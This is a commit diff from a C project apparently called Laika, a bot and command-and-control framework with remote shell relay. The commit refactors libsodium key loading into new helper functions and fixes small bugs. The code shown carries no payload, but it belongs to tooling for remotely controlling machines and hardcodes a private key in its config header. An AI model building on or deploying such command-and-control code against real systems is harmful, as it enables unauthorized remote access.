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Added lsodium.c, laikaK_loadKeys, laikaK_genKeys

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This commit is contained in:
CPunch
2022-03-21 15:24:05 -05:00
parent af9cdfdaed
commit 30f7ffb73b
8 changed files with 51 additions and 38 deletions
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4
bot/src/bot.c
View File

@@ -56,13 +56,13 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
if (crypto_kx_keypair(bot->pub, bot->priv) != 0) {
if (!laikaK_genKeys(bot->pub, bot->priv)) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to gen keypair!\n");
}
/* read cnc's public key into peerPub */
if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n");
}

10
cnc/src/cnc.c
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@@ -180,7 +180,6 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
size_t _unused;
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
@@ -205,14 +204,9 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
/* load keys */
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (!laikaK_loadKeys(cnc->pub, cnc->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc private key!\n");
LAIKA_ERROR("Failed to init cnc keypairs!\n");
}
return cnc;

2
cnc/src/cpanel.c
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@@ -136,7 +136,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
/* sanity check, make sure shell is open */
if ((peer = aInfo->shellBot) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n");
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");

28
lib/include/lconfig.h
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@@ -1,14 +1,14 @@
#ifndef LAIKA_CONFIG_H
#define LAIKA_CONFIG_H
/* version info */
#define LAIKA_VERSION_MAJOR 0
#define LAIKA_VERSION_MINOR 1
/* keys */
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
#define LAIKA_CNC_IP "127.0.0.1"
#define LAIKA_CNC_PORT "13337"
#endif
#ifndef LAIKA_CONFIG_H
#define LAIKA_CONFIG_H
/* version info */
#define LAIKA_VERSION_MAJOR 0
#define LAIKA_VERSION_MINOR 1
/* keys */
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
#define LAIKA_CNC_IP "127.0.0.1"
#define LAIKA_CNC_PORT "13337"
#endif

5
lib/include/lsodium.h
View File

@@ -3,6 +3,11 @@
#include "sodium.h"
#include <stdbool.h>
#define LAIKAENC_SIZE(sz) (sz + crypto_box_SEALBYTES)
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
#endif

8
lib/include/lvm.h
View File

@@ -29,10 +29,12 @@ struct sLaika_vm {
int pc;
};
#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i})
#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr})
#define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0})
/* constants */
#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i})
#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr})
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
@@ -63,7 +65,7 @@ inline void laikaV_execute(struct sLaika_vm *vm) {
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a] = vm->stack[b].i x vm->stack[c].i; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}

19
lib/src/lsodium.c Normal file
View File

@@ -0,0 +1,19 @@
#include "lsodium.h"
#include <string.h>
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
size_t _unused;
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
return false;
return true;
}
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
return crypto_kx_keypair(outPub, outPriv) == 0;
}

13
shell/src/sclient.c
View File

@@ -136,8 +136,6 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
/* ===============================================[[ Client API ]]=============================================== */
void shellC_init(tShell_client *client) {
size_t _unused;
laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer(
shellC_pktTbl,
@@ -157,18 +155,13 @@ void shellC_init(tShell_client *client) {
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init public key!\n");
}
if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init private key!\n");
LAIKA_ERROR("Failed to init keypair!\n");
}
/* read cnc's public key into peerPub */
if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (!laikaK_loadKeys(client->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init cnc public key!\n");
}